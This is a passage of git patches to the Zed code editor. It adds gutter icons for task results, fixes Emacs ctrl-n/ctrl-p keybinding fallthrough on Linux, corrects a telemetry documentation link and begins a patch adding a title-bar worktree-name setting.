+            let text_hash_type = CStr::from_ptr(NSString::UTF8String(*pasteboard.text_hash_type));
+            let metadata_type = CStr::from_ptr(NSString::UTF8String(*pasteboard.metadata_type));
+            assert_eq!(text_hash_type.to_bytes(), b"zed-text-hash");
+            assert_eq!(metadata_type.to_bytes(), b"zed-metadata");
+        }
+    }
+
     #[test]
     fn test_read_external_path() {
         let pasteboard = Pasteboard::unique();

From 6b594a43b0f61c80ee8977d43df93b92c944453c Mon Sep 17 00:00:00 2001
From: Ruslan Semagin <pixel.365.24@gmail.com>
Date: Tue, 21 Jul 2026 08:36:42 +0300
Subject: [PATCH 581/772] Show runnable task results in gutter (#61095)

# Objective

- Make runnable task results visible directly in the editor gutter after
running a test or task.
- This makes it easier to see whether the last run passed or failed
without looking at the terminal output.

## Solution

- Track the completion result for scheduled runnable tasks.
- Show the last runnable result in the gutter:
  - running task: accent play icon
  - successful task: success check icon
  - failed/cancelled task: error icon
- Apply the same status update path when running from the gutter play
button and from inline code lens actions such as `Run Test`.

## Testing

- Ran `cargo check -p editor -p workspace`.
- Ran `cargo test -p workspace
test_schedule_resolved_task_with_completion_reports_success`.
- Manually tested running a GPUI test from the gutter play button.
- Manually tested running a GPUI test from the inline `Run Test` code
lens.
- Verified the gutter icon updates after completion in both cases.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon]

(https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before:
<img width="1897" height="691" alt="before"
src="https://github.com/user-attachments/assets/614c2811-ee0a-43c0-8619-d0301836aa62"
/>

After:
<img width="1897" height="691" alt="after"
src="https://github.com/user-attachments/assets/a3db19f2-71e6-4c9b-824d-43a4f020a6b7"
/>

---

Release Notes:

- Improved runnable tasks by showing the last run result in the editor
gutter.
---
 crates/editor/src/code_actions.rs |  64 ++++++++++-
 crates/editor/src/code_lens.rs    |  55 ++++++++--
 crates/editor/src/editor.rs       |   2 +-
 crates/editor/src/element.rs      |   9 ++
 crates/editor/src/runnables.rs    | 177 +++++++++++++++++++++++++-----
 crates/workspace/src/tasks.rs     |  89 ++++++++++++++-
 6 files changed, 346 insertions(+), 50 deletions(-)

diff --git a/crates/editor/src/code_actions.rs b/crates/editor/src/code_actions.rs
index a5d33926d0c473..d98f903a3b2eee 100644
--- a/crates/editor/src/code_actions.rs
+++ b/crates/editor/src/code_actions.rs
@@ -206,19 +206,52 @@ impl Editor {
         let action_ix = action.item_ix.unwrap_or(actions_menu.selected_item);
         let action = actions_menu.actions.get(action_ix)?;
         let title = action.label();
+        let runnable_task_key =
+            self.runnable_task_key_for_source(&actions_menu.deployed_from, window, cx);
         let buffer = actions_menu.buffer;
         let workspace = self.workspace()?;
 
         match action {
             CodeActionsItem::Task(task_source_kind, resolved_task) => {
-                workspace.update(cx, |workspace, cx| {
-                    workspace.schedule_resolved_task(
-                        task_source_kind,
-                        resolved_task,
-                        false,
-                        window,
+                if let Some((buffer_id, buffer_row)) = runnable_task_key {
+                    self.set_runnable_task_status(
+                        buffer_id,
+                        buffer_row,
+                        RunnableTaskStatus::Running,
                         cx,
                     );
+                }
+                let editor = cx.weak_entity();
+                workspace.update(cx, |workspace, cx| {
+                    if let Some((buffer_id, buffer_row)) = runnable_task_key {
+                        workspace.schedule_resolved_task_with_completion(
+                            task_source_kind,
+                            resolved_task,
+                            false,
+                            move |result, cx| {
+                                editor
+                                    .update(cx, |editor, cx| {
+                                        editor.set_runnable_task_status(
+                                            buffer_id,
+                                            buffer_row,
+                                            RunnableTaskStatus::from(result),
+                                            cx,
+                                        );
+                                    })
+                                    .ok();
+                            },
+                            window,
+                            cx,
+                        );
+                    } else {
+                        workspace.schedule_resolved_task(
+                            task_source_kind,
+                            resolved_task,
+                            false,
+                            window,
+                            cx,
+                        );
+                    }
 
                     Some(Task::ready(Ok(())))
                 })
@@ -262,6 +295,25 @@ impl Editor {
         }
     }
 
+    fn runnable_task_key_for_source(
+        &self,
+        source: &Option<CodeActionSource>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<(BufferId, BufferRow)> {
+        let display_row = match source {
+            Some(CodeActionSource::RunMenu(row)) => *row,
+            _ => return None,
+        };
+        let snapshot = self.snapshot(window, cx);
+        let multibuffer_row =
+            MultiBufferRow(DisplayPoint::new(display_row, 0).to_point(&snapshot).row);
+        let (buffer_snapshot, range) = snapshot
+            .buffer_snapshot()
+            .buffer_line_for_row(multibuffer_row)?;
+        Some((buffer_snapshot.remote_id(), range.start.row))
+    }
+
     pub fn code_actions_enabled_for_toolbar(&self, cx: &App) -> bool {
         !self.code_action_providers.is_empty()
             && EditorSettings::get_global(cx).toolbar.code_actions
diff --git a/crates/editor/src/code_lens.rs b/crates/editor/src/code_lens.rs
index 3d262788af050e..7e03e39255d596 100644
--- a/crates/editor/src/code_lens.rs
+++ b/crates/editor/src/code_lens.rs
@@ -5,7 +5,7 @@ use futures::{StreamExt as _, future::join_all, stream::FuturesUnordered};
 use gpui::{MouseButton, SharedString, Task, TaskExt, WeakEntity};
 use itertools::Itertools;
 use language::{BufferId, ClientCommand};
-use multi_buffer::{Anchor, MultiBufferRow, MultiBufferSnapshot, ToPoint as _};
+use multi_buffer::{Anchor, BufferOffset, MultiBufferRow, MultiBufferSnapshot, ToPoint as _};
 use project::{CodeAction, TaskSourceKind, lsp_store::code_lens::CodeLensActions};
 use task::TaskContext;
 use text::ToOffset as _;
@@ -17,6 +17,7 @@ use crate::{
     actions::ToggleCodeLens,
     display_map::{BlockPlacement, BlockProperties, BlockStyle, CustomBlockId, RenderBlock},
     hover_links::HoverLink,
+    runnables::RunnableTaskStatus,
 };
 
 static EMPTY_LENS_FALLBACK_TITLE: SharedString = SharedString::new_static("0 references");
@@ -97,7 +98,7 @@ pub(super) fn try_handle_client_command(
 fn schedule_task(
     task_template: task::TaskTemplate,
     action: &CodeAction,
-    editor: &Editor,
+    editor: &mut Editor,
     workspace: &gpui::Entity<workspace::Workspace>,
     window: &mut Window,
     cx: &mut Context<Editor>,
@@ -127,15 +128,49 @@ fn schedule_task(
         },
     };
 
+    let Some(resolved_task) =
+        task_template.resolve_task(&task_source_kind.to_id_base(), &task_context)
+    else {
+        return true;
+    };
+    let runnable_task_key = editor
+        .buffer()
+        .read(cx)
+        .buffer(action.range.start.buffer_id)
+        .and_then(|buffer| {
+            let buffer_snapshot = buffer.read(cx).snapshot();
+            let buffer_id = buffer_snapshot.remote_id();
+            let offset = BufferOffset(action.range.start.to_offset(&buffer_snapshot));
+            editor.runnable_task_key_for_offset(buffer_id, offset)
+        });
+    if let Some((buffer_id, buffer_row)) = runnable_task_key {
+        editor.set_runnable_task_status(buffer_id, buffer_row, RunnableTaskStatus::Running, cx);
+    }
+    let editor_handle = cx.weak_entity();
     workspace.update(cx, |workspace, cx| {
-        workspace.schedule_task(
-            task_source_kind,
-            &task_template,
-            &task_context,
-            false,
-            window,
-            cx,
-        );
+        if let Some((buffer_id, buffer_row)) = runnable_task_key {
+            workspace.schedule_resolved_task_with_completion(
+                task_source_kind,
+                resolved_task,
+                false,
+                move |result, cx| {
+                    editor_handle
+                        .update(cx, |editor, cx| {
+                            editor.set_runnable_task_status(
+                                buffer_id,
+                                buffer_row,
+                                RunnableTaskStatus::from(result),
+                                cx,
+                            );
+                        })
+                        .ok();
+                },
+                window,
+                cx,
+            );
+        } else {
+            workspace.schedule_resolved_task(task_source_kind, resolved_task, false, window, cx);
+        }
     });
     true
 }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index f456d62a22e931..6f8fec7b37646f 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -282,7 +282,7 @@ use crate::{
         InlineValueCache,
         inlay_hints::{LspInlayHintData, inlay_hint_settings},
     },
-    runnables::{ResolvedTasks, RunnableData, RunnableTasks},
+    runnables::{ResolvedTasks, RunnableData, RunnableTaskStatus, RunnableTasks},
     scroll::{ScrollOffset, ScrollPixelOffset},
     selections_collection::resolve_selections_wrapping_blocks,
     semantic_tokens::SemanticTokenState,
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 6fa72f155f8519..bfc39e3f465d79 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -2611,6 +2611,14 @@ impl EditorElement {
             run_indicators
                 .iter()
                 .filter_map(|display_row| {
+                    let task_status = gutter
+                        .row_infos
+                        .get((display_row.0.saturating_sub(gutter.range.start.0)) as usize)
+                        .and_then(|row_info| Some((row_info.buffer_id?, row_info.buffer_row?)))
+                        .and_then(|(buffer_id, buffer_row)| {
+                            editor.runnable_task_status(buffer_id, buffer_row)
+                        });
+
                     gutter.layout_item(
                         *display_row,
                         |cx, _| {
@@ -2619,6 +2627,7 @@ impl EditorElement {
                                     &self.style,
                                     Some(*display_row) == active_task_indicator_row,
                                     breakpoints.get(&display_row).map(|(anchor, _, _)| *anchor),
+                                    task_status,
                                     *display_row,
                                     cx,
                                 )
diff --git a/crates/editor/src/runnables.rs b/crates/editor/src/runnables.rs
index a0e1f5856176a1..7e0cc27706f33a 100644
--- a/crates/editor/src/runnables.rs
+++ b/crates/editor/src/runnables.rs
@@ -24,6 +24,7 @@ use crate::{
 #[derive(Debug)]
 pub(super) struct RunnableData {
     runnables: HashMap<BufferId, (Global, BTreeMap<BufferRow, RunnableTasks>)>,
+    task_statuses: HashMap<(BufferId, BufferRow), RunnableTaskStatus>,
     invalidate_buffer_data: HashSet<BufferId>,
     runnables_update_task: Task<()>,
 }
@@ -32,6 +33,7 @@ impl RunnableData {
     pub fn new() -> Self {
         Self {
             runnables: HashMap::default(),
+            task_statuses: HashMap::default(),
             invalidate_buffer_data: HashSet::default(),
             runnables_update_task: Task::ready(()),
         }
@@ -50,6 +52,38 @@ impl RunnableData {
             .flat_map(|(_, tasks)| tasks.values())
     }
 
+    pub fn task_status(
+        &self,
+        (buffer_id, buffer_row): (BufferId, BufferRow),
+    ) -> Option<RunnableTaskStatus> {
+        self.task_statuses.get(&(buffer_id, buffer_row)).copied()
+    }
+
+    pub fn set_task_status(
+        &mut self,
+        (buffer_id, buffer_row): (BufferId, BufferRow),
+        status: RunnableTaskStatus,
+    ) {
+        self.task_statuses.insert((buffer_id, buffer_row), status);
+    }
+
+    pub fn task_key_for_offset(
+        &self,
+        buffer_id: BufferId,
+        offset: BufferOffset,
+    ) -> Option<(BufferId, BufferRow)> {
+        let (_, tasks_by_row) = self.runnables.get(&buffer_id)?;
+        tasks_by_row
+            .iter()
+            .find(|(_, tasks)| tasks.context_range.contains(&offset))
+            .or_else(|| {
+                tasks_by_row
+                    .iter()
+                    .find(|(_, tasks)| tasks.context_range.start >= offset)
+            })
+            .map(|(row, _)| (buffer_id, *row))
+    }
+
     pub fn has_cached(&self, buffer_id: BufferId, version: &Global) -> bool {
         self.runnables
             .get(&buffer_id)
@@ -72,6 +106,24 @@ impl RunnableData {
     }
 }
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub(crate) enum RunnableTaskStatus {
+    Running,
+    Passed,
+    Failed,
+}
+
+impl From<workspace::tasks::ScheduledTaskResult> for RunnableTaskStatus {
+    fn from(result: workspace::tasks::ScheduledTaskResult) -> Self {
+        match result {
+            workspace::tasks::ScheduledTaskResult::Success => Self::Passed,
+            workspace::tasks::ScheduledTaskResult::Failure
+            | workspace::tasks::ScheduledTaskResult::SpawnFailed
+            | workspace::tasks::ScheduledTaskResult::Cancelled => Self::Failed,
+        }
+    }
+}
+
 #[derive(Clone, Debug)]
 pub struct RunnableTasks {
     pub templates: Vec<(TaskSourceKind, TaskTemplate)>,
@@ -307,6 +359,8 @@ impl Editor {
             return;
         };
 
+        let buffer_id = buffer.read(cx).remote_id();
+        let editor = cx.weak_entity();
         let reveal_strategy = action.reveal;
         let task_context = Self::build_tasks_context(&project, &buffer, buffer_row, &tasks, cx);
         cx.spawn_in(window, async move |_, cx| {
@@ -316,12 +370,34 @@ impl Editor {
             let resolved = &mut resolved_task.resolved;
             resolved.reveal = reveal_strategy;
 
+            editor
+                .update(cx, |editor, cx| {
+                    editor.set_runnable_task_status(
+                        buffer_id,
+                        buffer_row,
+                        RunnableTaskStatus::Running,
+                        cx,
+                    );
+                })
+                .ok();
             workspace
                 .update_in(cx, |workspace, window, cx| {
-                    workspace.schedule_resolved_task(
+                    workspace.schedule_resolved_task_with_completion(
                         task_source_kind,
                         resolved_task,
                         false,
+                        move |result, cx| {
+                            editor
+                                .update(cx, |editor, cx| {
+                                    editor.set_runnable_task_status(
+                                        buffer_id,
+                                        buffer_row,
+                                        RunnableTaskStatus::from(result),
+                                        cx,
+                                    );
+                                })
+                                .ok();
+                        },
                         window,
                         cx,
                     );
@@ -334,13 +410,45 @@ impl Editor {
     pub fn clear_runnables(&mut self, for_buffer: Option<BufferId>) {
         if let Some(buffer_id) = for_buffer {
             self.runnables.runnables.remove(&buffer_id);
+            self.runnables
+                .task_statuses
+                .retain(|(status_buffer_id, _), _| *status_buffer_id != buffer_id);
         } else {
             self.runnables.runnables.clear();
+            self.runnables.task_statuses.clear();
         }
         self.runnables.invalidate_buffer_data.clear();
         self.runnables.runnables_update_task = Task::ready(());
     }
 
+    pub(crate) fn runnable_task_status(
+        &self,
+        buffer_id: BufferId,
+        buffer_row: BufferRow,
+    ) -> Option<RunnableTaskStatus> {
+        self.runnables.task_status((buffer_id, buffer_row))
+    }
+
+    pub(crate) fn set_runnable_task_status(
+        &mut self,
+        buffer_id: BufferId,
+        buffer_row: BufferRow,
+        status: RunnableTaskStatus,
+        cx: &mut Context<Self>,
+    ) {
+        self.runnables
+            .set_task_status((buffer_id, buffer_row), status);
+        cx.notify();
+    }
+
+    pub(crate) fn runnable_task_key_for_offset(
+        &self,
+        buffer_id: BufferId,
+        offset: BufferOffset,
+    ) -> Option<(BufferId, BufferRow)> {
+        self.runnables.task_key_for_offset(buffer_id, offset)
+    }
+
     pub fn task_context(&self, window: &mut Window, cx: &mut App) -> Task<Option<TaskContext>> {
         let Some(project) = self.project.clone() else {
             return Task::ready(None);
@@ -515,44 +623,53 @@ impl Editor {
         None
     }
 
-    pub fn render_run_indicator(
+    pub(crate) fn render_run_indicator(
         &self,
         _style: &EditorStyle,
         is_active: bool,
         active_breakpoint: Option<Anchor>,
+        task_status: Option<RunnableTaskStatus>,
         row: DisplayRow,
         cx: &mut Context<Self>,
     ) -> IconButton {
-        let color = Color::Muted;
+        let (icon, color) = match task_status {
+            Some(RunnableTaskStatus::Running) => (ui::IconName::PlayOutlined, Color::Accent),
+            Some(RunnableTaskStatus::Passed) => (ui::IconName::Check, Color::Success),
+            Some(RunnableTaskStatus::Failed) => (ui::IconName::XCircle, Color::Error),
+            None => (ui::IconName::PlayOutlined, Color::Muted),
+        };
 
-        IconButton::new(
-            ("run_indicator", row.0 as usize),
-            ui::IconName::PlayOutlined,
-        )
-        .shape(ui::IconButtonShape::Square)
-        .icon_size(IconSize::XSmall)
-        .icon_color(color)
-        .toggle_state(is_active)
-        .on_click(cx.listener(move |editor, e: &ClickEvent, window, cx| {
-            let quick_launch = match e {
-                ClickEvent::Keyboard(_) => true,
-                ClickEvent::Mouse(e) => e.down.button == MouseButton::Left,
-                ClickEvent::Touch(_) => true,
-            };
+        IconButton::new(("run_indicator", row.0 as usize), icon)
+            .shape(ui::IconButtonShape::Square)
+            .icon_size(IconSize::XSmall)
+            .icon_color(color)
+            .toggle_state(is_active)
+            .on_click(cx.listener(move |editor, e: &ClickEvent, window, cx| {
+                let quick_launch = match e {
+                    ClickEvent::Keyboard(_) => true,
+                    ClickEvent::Mouse(e) => e.down.button == MouseButton::Left,
+                    ClickEvent::Touch(_) => true,
+                };
 
-            window.focus(&editor.focus_handle(cx), cx);
-            editor.toggle_code_actions(
-                &ToggleCodeActions {
-                    deployed_from: Some(CodeActionSource::RunMenu(row)),
-                    quick_launch,
-                },
-                window,
-                cx,
-            );
-        }))
-        .on_right_click(cx.listener(move |editor, event: &ClickEvent, window, cx| {
-            editor.set_gutter_context_menu(row, active_breakpoint, event.position(), window, cx);
-        }))
+                window.focus(&editor.focus_handle(cx), cx);
+                editor.toggle_code_actions(
+                    &ToggleCodeActions {
+                        deployed_from: Some(CodeActionSource::RunMenu(row)),
+                        quick_launch,
+                    },
+                    window,
+                    cx,
+                );
+            }))
+            .on_right_click(cx.listener(move |editor, event: &ClickEvent, window, cx| {
+                editor.set_gutter_context_menu(
+                    row,
+                    active_breakpoint,
+                    event.position(),
+                    window,
+                    cx,
+                );
+            }))
     }
 
     fn insert_runnables(
diff --git a/crates/workspace/src/tasks.rs b/crates/workspace/src/tasks.rs
index 501fc583f2d149..7bc6420c4c7729 100644
--- a/crates/workspace/src/tasks.rs
+++ b/crates/workspace/src/tasks.rs
@@ -15,6 +15,16 @@ use util::TryFutureExt;
 
 use crate::{SaveIntent, Toast, Workspace, notifications::NotificationId};
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub enum ScheduledTaskResult {
+    Success,
+    Failure,
+    SpawnFailed,
+    Cancelled,
+}
+
+type TaskCompletionHandler = Box<dyn FnOnce(ScheduledTaskResult, &mut AsyncWindowContext)>;
+
 impl Workspace {
     pub fn schedule_task(
         self: &mut Workspace,
@@ -58,6 +68,44 @@ impl Workspace {
         omit_history: bool,
         window: &mut Window,
         cx: &mut Context<Workspace>,
+    ) {
+        self.schedule_resolved_task_internal(
+            task_source_kind,
+            resolved_task,
+            omit_history,
+            None,
+            window,
+            cx,
+        );
+    }
+
+    pub fn schedule_resolved_task_with_completion(
+        self: &mut Workspace,
+        task_source_kind: TaskSourceKind,
+        resolved_task: ResolvedTask,
+        omit_history: bool,
+        on_complete: impl FnOnce(ScheduledTaskResult, &mut AsyncWindowContext) + 'static,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        self.schedule_resolved_task_internal(
+            task_source_kind,
+            resolved_task,
+            omit_history,
+            Some(Box::new(on_complete)),
+            window,
+            cx,
+        );
+    }
+
+    fn schedule_resolved_task_internal(
+        self: &mut Workspace,
+        task_source_kind: TaskSourceKind,
+        resolved_task: ResolvedTask,
+        omit_history: bool,
+        on_complete: Option<TaskCompletionHandler>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
     ) {
         let spawn_in_terminal = resolved_task.resolved.clone();
         if !omit_history {
@@ -90,12 +138,14 @@ impl Workspace {
                 });
                 if let Some(spawn_task) = spawn_task.ok().flatten() {
                     let res = cx.background_spawn(spawn_task).await;
-                    match res {
+                    let result = match res {
                         Some(Ok(status)) => {
                             if status.success() {
                                 log::debug!("Task spawn succeeded");
+                                ScheduledTaskResult::Success
                             } else {
                                 log::debug!("Task spawn failed, code: {:?}", status.code());
+                                ScheduledTaskResult::Failure
                             }
                         }
                         Some(Err(e)) => {
@@ -103,10 +153,19 @@ impl Workspace {
                             _ = workspace.update(cx, |w, cx| {
                                 let id = NotificationId::unique::<ResolvedTask>();
                                 w.show_toast(Toast::new(id, format!("Task spawn failed: {e}")), cx);
-                            })
+                            });
+                            ScheduledTaskResult::SpawnFailed
+                        }
+                        None => {
+                            log::debug!("Task spawn got cancelled");
+                            ScheduledTaskResult::Cancelled
                         }
-                        None => log::debug!("Task spawn got cancelled"),
                     };
+                    if let Some(on_complete) = on_complete {
+                        on_complete(result, cx);
+                    }
+                } else if let Some(on_complete) = on_complete {
+                    on_complete(ScheduledTaskResult::Cancelled, cx);
                 }
             });
             self.scheduled_tasks.push(task);
@@ -360,6 +419,30 @@ mod tests {
         assert!(cx.read(|cx| fixture.item.read(cx).is_dirty));
     }
 
+    #[gpui::test]
+    async fn test_schedule_resolved_task_with_completion_reports_success(cx: &mut TestAppContext) {
+        let (fixture, cx) = create_fixture(cx, SaveStrategy::None).await;
+        let task_result = Arc::new(Mutex::new(None));
+        fixture.workspace.update_in(cx, |workspace, window, cx| {
+            workspace.schedule_resolved_task_with_completion(
+                TaskSourceKind::UserInput,
+                fixture.task,
+                false,
+                {
+                    let task_result = task_result.clone();
+                    move |result, _| {
+                        *task_result.lock() = Some(result);
+                    }
+                },
+                window,
+                cx,
+            );
+        });
+        cx.executor().run_until_parked();
+
+        assert_eq!(*task_result.lock(), Some(ScheduledTaskResult::Success));
+    }
+
     async fn create_fixture(
         cx: &mut TestAppContext,
         save_strategy: SaveStrategy,

From 002a5aba049f3a40a3eca5f45691baf147993528 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Tue, 21 Jul 2026 11:31:41 +0530
Subject: [PATCH 582/772] emacs: Stop ctrl-n and ctrl-p falling back to the
 default bindings (#61140)

on linux with the emacs keymap, holding `ctrl-n` at the end of the
buffer opens a new file every press. `ctrl-p` at the top opens the file
finder.

the keymap already tries `"ctrl-n": null`, but `null` only breaks
resolution in a *user* keymap, so from a base keymap
`workspace::NewFile` still resolves. a targeted unbind works regardless
of source:

```json
"ctrl-p": ["zed::Unbind", "file_finder::Toggle"],
"ctrl-n": ["zed::Unbind", "workspace::NewFile"],
```

left the MoveDown/MoveUp propagation alone, it's load bearing (agent
panel uses it for up-to-edit-last-message). tests cover the fix plus the
narrower ctrl-n/ctrl-p bindings still winning, since the unbind only
targets the one action.

ctrl-g/ctrl-x in that block are still null and probably just as broken,
but ctrl-x is a prefix key so i left them.

Closes #45010.

Release Notes:

- Fixed `ctrl-n` opening a new file and `ctrl-p` opening the file finder
at the ends of a buffer when using the Emacs keymap on Linux
---
 assets/keymaps/linux/emacs.json |  7 ++-
 crates/zed/src/zed.rs           | 88 +++++++++++++++++++++++++++++++++
 2 files changed, 93 insertions(+), 2 deletions(-)

diff --git a/assets/keymaps/linux/emacs.json b/assets/keymaps/linux/emacs.json
index 5b6f841de07ac2..68df92d2841a59 100755
--- a/assets/keymaps/linux/emacs.json
+++ b/assets/keymaps/linux/emacs.json
@@ -17,8 +17,11 @@
     "bindings": {
       "ctrl-g": null, // currently activates `go_to_line::Toggle` when there is nothing to cancel
       "ctrl-x": null, // currently activates `editor::Cut` if no following key is pressed for 1 second
-      "ctrl-p": null, // currently activates `file_finder::Toggle` when the cursor is on the first character of the buffer
-      "ctrl-n": null, // currently activates `workspace::NewFile` when the cursor is on the last character of the buffer
+      // `null` only stops binding resolution in a user keymap, so these use a targeted unbind:
+      // `editor::MoveUp`/`MoveDown` propagate when the cursor doesn't move, which at the ends of
+      // the buffer would otherwise fall through to these.
+      "ctrl-p": ["zed::Unbind", "file_finder::Toggle"],
+      "ctrl-n": ["zed::Unbind", "workspace::NewFile"],
     },
   },
   {
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 302215ea53ce71..09e968308c4fb3 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -5184,6 +5184,94 @@ mod tests {
 
     actions!(test_only, [ActionA, ActionB]);
 
+    /// The actions the emacs keymap resolves for `keystroke` in `context`.
+    fn emacs_bindings_for(keystroke: &str, context: &str, cx: &mut TestAppContext) -> Vec<String> {
+        cx.update(|cx| {
+            let mut bindings = settings::KeymapFile::load_asset_allow_partial_failure(
+                "keymaps/default-linux.json",
+                cx,
+            )
+            .unwrap();
+            for binding in &mut bindings {
+                binding.set_meta(settings::KeybindSource::Default.meta());
+            }
+            let mut emacs_bindings = settings::KeymapFile::load_asset_allow_partial_failure(
+                "keymaps/linux/emacs.json",
+                cx,
+            )
+            .unwrap();
+            for binding in &mut emacs_bindings {
+                binding.set_meta(settings::KeybindSource::Base.meta());
+            }
+            bindings.extend(emacs_bindings);
+
+            gpui::Keymap::new(bindings)
+                .bindings_for_input(
+                    &[gpui::Keystroke::parse(keystroke).unwrap()],
+                    &[gpui::KeyContext::parse(context).unwrap()],
+                )
+                .0
+                .iter()
+                .map(|binding| binding.action().name().to_string())
+                .collect()
+        })
+    }
+
+    /// `editor::MoveDown` and `editor::MoveUp` propagate when the cursor doesn't move, which at the
+    /// ends of a buffer let `ctrl-n` and `ctrl-p` fall through to the default bindings and open a
+    /// new file / the file finder.
+    #[gpui::test]
+    fn test_emacs_cursor_keys_do_not_fall_back_to_default_bindings(cx: &mut TestAppContext) {
+        init_keymap_test(cx);
+
+        let ctrl_n = emacs_bindings_for("ctrl-n", "Workspace Editor", cx);
+        assert!(
+            ctrl_n.contains(&"editor::MoveDown".to_string()),
+            "ctrl-n should still move down, got {ctrl_n:?}"
+        );
+        assert!(
+            !ctrl_n.contains(&"workspace::NewFile".to_string()),
+            "ctrl-n should not fall through to workspace::NewFile, got {ctrl_n:?}"
+        );
+
+        let ctrl_p = emacs_bindings_for("ctrl-p", "Workspace Editor", cx);
+        assert!(
+            ctrl_p.contains(&"editor::MoveUp".to_string()),
+            "ctrl-p should still move up, got {ctrl_p:?}"
+        );
+        assert!(
+            !ctrl_p.contains(&"file_finder::Toggle".to_string()),
+            "ctrl-p should not fall through to file_finder::Toggle, got {ctrl_p:?}"
+        );
+    }
+
+    /// The unbind above only targets `workspace::NewFile` / `file_finder::Toggle`, so the narrower
+    /// `ctrl-n` and `ctrl-p` bindings still win where they apply.
+    #[gpui::test]
+    fn test_emacs_cursor_keys_keep_narrower_bindings(cx: &mut TestAppContext) {
+        init_keymap_test(cx);
+
+        let completions = "Workspace Editor showing_completions";
+        assert_eq!(
+            emacs_bindings_for("ctrl-n", completions, cx).first(),
+            Some(&"editor::ContextMenuNext".to_string())
+        );
+        assert_eq!(
+            emacs_bindings_for("ctrl-p", completions, cx).first(),
+            Some(&"editor::ContextMenuPrevious".to_string())
+        );
+
+        let selection_mode = "Workspace Editor selection_mode";
+        assert_eq!(
+            emacs_bindings_for("ctrl-n", selection_mode, cx).first(),
+            Some(&"editor::SelectDown".to_string())
+        );
+        assert_eq!(
+            emacs_bindings_for("ctrl-p", selection_mode, cx).first(),
+            Some(&"editor::SelectUp".to_string())
+        );
+    }
+
     #[gpui::test]
     async fn test_base_keymap(cx: &mut gpui::TestAppContext) {
         let executor = cx.executor();

From 8edf0559fbaf7f963a4c1a49c2b881370e4d9ff3 Mon Sep 17 00:00:00 2001
From: Sam <80341512+sammcclenaghan@users.noreply.github.com>
Date: Tue, 21 Jul 2026 00:01:42 -0600
Subject: [PATCH 583/772] docs: Fix stale panic struct reference in telemetry
 docs (#61145)

This PR fixes the telemetry documentation to reference the `CrashInfo`
struct in `crates/crashes/src/crashes.rs`, since the `Panic` struct was
removed from `telemetry_events.rs` in #42931 after crash metadata moved
to the minidump path in #36267.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ]  Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Fixes #59576

- N/A
---
 docs/src/telemetry.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/src/telemetry.md b/docs/src/telemetry.md
index dd0f75f8ccd1de..78d849af88ede2 100644
--- a/docs/src/telemetry.md
+++ b/docs/src/telemetry.md
@@ -39,7 +39,7 @@ Telemetry is sent from the application to our servers every 5 minutes (or when 5
 
 Crash reports consist of a [minidump](https://learn.microsoft.com/en-us/windows/win32/debug/minidump-files) and debug metadata. Reports are sent on the next launch after a crash, allowing Zed to identify and fix issues without requiring you to file a bug report.
 
-You can inspect what data is sent in the `Panic` struct in [crates/telemetry_events/src/telemetry_events.rs](https://github.com/zed-industries/zed/blob/main/crates/telemetry_events/src/telemetry_events.rs). See also: [Debugging Crashes](./development/debugging-crashes.md).
+You can inspect what data is sent in the `CrashInfo` struct in [crates/crashes/src/crashes.rs](https://github.com/zed-industries/zed/blob/main/crates/crashes/src/crashes.rs). See also: [Debugging Crashes](./development/debugging-crashes.md).
 
 ### Client-Side Metrics
 

From 34bfb3842d6c7bf63e74a36aba0003fd342d3526 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Attila=20S=C3=BCli?= <suliatis@users.noreply.github.com>
Date: Tue, 21 Jul 2026 08:04:06 +0200
Subject: [PATCH 584/772] title_bar: Add show_worktree_name setting (#61137)

Adds a title_bar.show_worktree_name setting (default: true) that hides
the worktree picker button in the title bar, mirroring how
show_branch_name gates the branch picker. The "/" separator only renders
when both buttons are visible, and the container is omitted entirely
when both are hidden.

The setting is hide-only: it deliberately does not join the
render_project_items gate, so configurations with show_branch_name and
show_project_items both disabled keep hiding the whole group as before.

Requested in discussion
[zed-industries/zed#54902](https://github.com/zed-industries/zed/discussions/54902).

# Objective

The worktree name is always present in the title bar even when unused.
Unlike the branch name it has no dedicated option to disable it.

Requested in discussion
[zed-industries/zed#54902](https://github.com/zed-industries/zed/discussions/54902).

## Solution

Adds a `title_bar.show_worktree_name` setting (default: true) that hides
the worktree picker button in the title bar, mirroring how
show_branch_name gates the branch picker. The "/" separator only renders
when both buttons are visible, and the container is omitted entirely
when both are hidden.

The setting is hide-only: it deliberately does not join the
render_project_items gate, so configurations with show_branch_name and
show_project_items both disabled keep hiding the whole group as before.

## Testing

I tested the setting added by running the application by adding,
removing and toggling the `title_bar.show_worktree_name` setting in the
`settings.json`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
